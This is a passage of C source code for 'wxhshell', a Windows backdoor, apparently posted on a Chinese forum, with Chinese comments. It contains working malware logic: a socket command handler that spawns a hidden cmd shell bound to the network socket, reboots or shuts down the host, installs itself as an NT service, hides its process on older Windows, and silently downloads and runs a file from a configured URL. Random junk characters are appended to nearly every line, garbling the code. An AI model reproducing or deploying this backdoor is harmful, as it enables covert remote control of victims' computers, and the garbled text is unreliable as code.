      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K!c@aD:#  
    break; ?EQ^n3U$  
  } &qP-x98E?  
  // 安装 #]DZrD&q  
  case 'i': { kok^4VV  
    if(Install()) Z;~[@7`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~)a ;59<$  
    else :+Q"MIU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * m&: Yje  
    break; 3|+f si)x  
    } )USC  
  // 卸载 xhkWKB/7  
  case 'r': { r82o[+$u0K  
    if(Uninstall()) %SO%{.}Z f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t<k [W'#  
    else k-pEBh OH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;;'a--'"  
    break; H'GYJ ?U"  
    } 8Cs$NUU  
  // 显示 wxhshell 所在路径 .`& /QiD  
  case 'p': { )| x%o(n  
    char svExeFile[MAX_PATH]; zL},`:(.  
    strcpy(svExeFile,"\n\r"); %^5@z1d,  
      strcat(svExeFile,ExeFile); W _,;eyo  
        send(wsh,svExeFile,strlen(svExeFile),0); soq".+Q  
    break; A$%!9Cma  
    } Kxl,] |e>  
  // 重启 !ObE{2Enf  
  case 'b': { "c/s/$k//  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N.{jM[\F  
    if(Boot(REBOOT)) #>:(#^Uu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \FoxKOTp  
    else { $C05iD  
    closesocket(wsh); $'knK<  
    ExitThread(0); .y7)XLC  
    } {y:#'n  
    break; Xs>s|_T  
    } C. Ja;RFq  
  // 关机 >GznG[Ku  
  case 'd': { lg onR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ft/^4QcyAM  
    if(Boot(SHUTDOWN)) fcE)V#c"g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )jk1S  
    else { R@<_Hb;Aeb  
    closesocket(wsh); 3IK(f .  
    ExitThread(0); 1U7,X6=~  
    } <m>l-]  
    break; f' '{.L  
    } 0Ox|^V  
  // 获取shell fNqmTRu  
  case 's': { Sc/`=h]T  
    CmdShell(wsh); 9y^kb+  
    closesocket(wsh); ^'7C0ps+A  
    ExitThread(0); NYjS  
    break; o3F|#op  
  } ~n/Aq*  
  // 退出 f#v#)Gp+  
  case 'x': { 7V=MRf&xQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kPO6gdwq$  
    CloseIt(wsh); *t.q m5h  
    break; M 20Bc,VI  
    } }(ma__Ao  
  // 离开 e?!L}^f6X  
  case 'q': { %'"HGZn b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;vJ\]T ml  
    closesocket(wsh); !{Q:(B#ec  
    WSACleanup(); A\z`c e!  
    exit(1); d?A}qA[(  
    break; k=[pm5ZvT~  
        } q-nER<  
  } o#>a 5  
  } B8T\s)fxnX  
ju|]Qlek  
  // 提示信息 !:WW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @o>EBZ7MS  
} F8<"AI  
  } a+`D'?z  
dC.bt|#Oz  
  return; _;hf<|c  
} h >-'-Hx+  
FJeiY#us  
// shell模块句柄 BcQEG *N  
int CmdShell(SOCKET sock) tdep|sD  
{ x5}lgyt  
STARTUPINFO si; yto[8;)_  
ZeroMemory(&si,sizeof(si)); j8++R&1f]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +r]zs^'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h7]EB!D\A  
PROCESS_INFORMATION ProcessInfo; mT @ nn,  
char cmdline[]="cmd"; 2N5`'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T%$jWndI  
  return 0; &]F3#^!^  
} LY 0]l$  
HeLG?6  
// 自身启动模式 d(-EcY>?  
int StartFromService(void) `!vUsM.d  
{ UMU2^$\iS  
typedef struct , sjh^-;  
{ 0 Y>M=|  
  DWORD ExitStatus; aJhxc<"e  
  DWORD PebBaseAddress; <YB9Ac~}z  
  DWORD AffinityMask; =wVJ%  
  DWORD BasePriority; KkcXNjPVS  
  ULONG UniqueProcessId; ;AX8aw,  
  ULONG InheritedFromUniqueProcessId; =2Cj,[$  
}   PROCESS_BASIC_INFORMATION; u5B:^.:p  
k7@t{Cu0D&  
PROCNTQSIP NtQueryInformationProcess; :"Y*<=x#2  
),(V6@Z?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V`kMCE;?l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3BG>Y(v  
3Fs5RC~a  
  HANDLE             hProcess; q_V0+qH  
  PROCESS_BASIC_INFORMATION pbi; MSw$_d  
|kJ%`j(7R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W/fuKGZi_  
  if(NULL == hInst ) return 0; d\]Yk]r  
j$Ab>}g]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kLj$@E`4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j8Cho5C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k&/OU:7Y  
W3H+.E  
  if (!NtQueryInformationProcess) return 0; mh.+."<)F  
q?):oJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E&`Nh5JfC  
  if(!hProcess) return 0; _n;;][]S  
M|,mr~rRG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @-HG`c ct  
? *>]")[>  
  CloseHandle(hProcess); bq>_qpr  
rV6/Tdy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UC HZ2&  
if(hProcess==NULL) return 0; 3^?ZG^V  
1vzb8.  
HMODULE hMod; -=`#fDvBn  
char procName[255]; Q GZyL)Q  
unsigned long cbNeeded; nUS| sh  
bi[IqU!9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PjKEC N  
{vEOn-(7  
  CloseHandle(hProcess); QnQOm ""  
TaE~s  
if(strstr(procName,"services")) return 1; // 以服务启动 ]\ !5}L  
SAY LG  
  return 0; // 注册表启动 2*w0t:Yx e  
} `d7n?|pD  
$+p?Y)h .  
// 主模块 Gg Jf7ie4  
int StartWxhshell(LPSTR lpCmdLine) br-]fE.be  
{ 5"XC$?I<}  
  SOCKET wsl; 1u3, '8F  
BOOL val=TRUE; zk-.u}RBFG  
  int port=0; )R`xR,H  
  struct sockaddr_in door; >/[GTqi  
'k;rH !R  
  if(wscfg.ws_autoins) Install(); ^=>Tk$ _2  
Hso|e?Z  
port=atoi(lpCmdLine); 'R-3fO???  
?;[w" `"  
if(port<=0) port=wscfg.ws_port; 7xRl9  
h/?l4iR*  
  WSADATA data; f+8wl!M+6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *Kdda} J+  
J'$>Gk]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c\a_VRN>r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^8.]d~j  
  door.sin_family = AF_INET; 4=<tWa|@9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `]Q:-h  
  door.sin_port = htons(port); PB;eHy  
_SW3_8SuM.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [sB 9gY(  
closesocket(wsl); X 1 57$  
return 1; dXF^(y]l  
} FEVEp  
]a5 f2lE  
  if(listen(wsl,2) == INVALID_SOCKET) { .L'.c/ s  
closesocket(wsl); 4R18A=X  
return 1; jv&*uYm  
} eek7=Z  
  Wxhshell(wsl); CHe>OreiS  
  WSACleanup(); D$t k<{)oB  
*S2ypzwRZ,  
return 0; %CK^Si%+  
!pD*p)`s  
} 15o9 .   
n2iJ%_zp  
// 以NT服务方式启动 g$b<1:8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z`:lcF{V  
{ ]]zPq<b2  
DWORD   status = 0; w.[ "p9tc  
  DWORD   specificError = 0xfffffff; ,7<f9 EVY  
(1#J%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )c `7( nY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z11O F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %i5M77#Z  
  serviceStatus.dwWin32ExitCode     = 0; P9T}S  
  serviceStatus.dwServiceSpecificExitCode = 0; zux{S; :?  
  serviceStatus.dwCheckPoint       = 0; euC&0Ee2  
  serviceStatus.dwWaitHint       = 0; #{?qNl8F*J  
EOCN&_Z;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x QIq^/F0  
  if (hServiceStatusHandle==0) return; <yd{tD$A*  
c@893<_  
status = GetLastError(); Z'\h  
  if (status!=NO_ERROR) H '  
{ +F^^c2E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $m/)FnU/  
    serviceStatus.dwCheckPoint       = 0; ' ~8KSF*!p  
    serviceStatus.dwWaitHint       = 0; u fw]=h)  
    serviceStatus.dwWin32ExitCode     = status; 1,% R;7J=g  
    serviceStatus.dwServiceSpecificExitCode = specificError; !O<)\ )|g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Le\?+h42>  
    return; ~{jcH  
  } 7eAX*Kgt<_  
2.l:O2<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dy:|g1>  
  serviceStatus.dwCheckPoint       = 0; PK`D8)=u  
  serviceStatus.dwWaitHint       = 0; / G7vwC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?vbvBu{a  
} 8|\8O@  
tP$<UKtU  
// 处理NT服务事件,比如:启动、停止 >&}%+r\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TA4!$7b$  
{ /w}u3|L$  
switch(fdwControl) _sTROd)Vh  
{ bcE._9@@  
case SERVICE_CONTROL_STOP: pe 1R(|H  
  serviceStatus.dwWin32ExitCode = 0; @X#F3;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w|K'M?N14  
  serviceStatus.dwCheckPoint   = 0; Xg;}R:g '  
  serviceStatus.dwWaitHint     = 0; T7hcnF$  
  { {#@W)4)cA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %5"9</a&G  
  } VgZsB$Ori  
  return; q1d}{DU  
case SERVICE_CONTROL_PAUSE: Yp^rR }N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6\q]rfQ  
  break; :% ,:"  
case SERVICE_CONTROL_CONTINUE: W *),y:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; paCV!tP  
  break; @~"h62=] -  
case SERVICE_CONTROL_INTERROGATE: CDK 5  
  break; !ug8SAOaz/  
}; e?8FN. q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m8d!< h  
} ?kbiMs1;u  
{#?N  
// 标准应用程序主函数 U@uGNMKR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l 3ko?k  
{ YUtC.TR1  
Y[}>CYO  
// 获取操作系统版本 8 Hg+H=?  
OsIsNt=GetOsVer(); \o*5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ku5\]  
3z{?_;bR  
  // 从命令行安装 "Q@ronP(~  
  if(strpbrk(lpCmdLine,"iI")) Install(); ux vqMgR  
<7/R,\Wg~  
  // 下载执行文件 3TeY%5iVt  
if(wscfg.ws_downexe) { iT gt}]L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \fz<.l]  
  WinExec(wscfg.ws_filenam,SW_HIDE); !>..Q)z  
} Nfrw0b  
}v}P .P  
if(!OsIsNt) { S2sQOM@  
// 如果时win9x,隐藏进程并且设置为注册表启动 hKL4cpK4  
HideProc(); !Qu"BF   
StartWxhshell(lpCmdLine); ,Z&xNBX  
} =Y|VgV  
else  *x@Onj  
  if(StartFromService()) e>+i>/Fn{h  
  // 以服务方式启动 I9_RlAd  
  StartServiceCtrlDispatcher(DispatchTable); G\2 CR*  
else S9]'?|  
  // 普通方式启动 Lo{ E:5q  
  StartWxhshell(lpCmdLine); +hg3I8q:  
fI?>+I5  
return 0; CkOz  
}
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只看该作者 1 发表于: 2006-10-10
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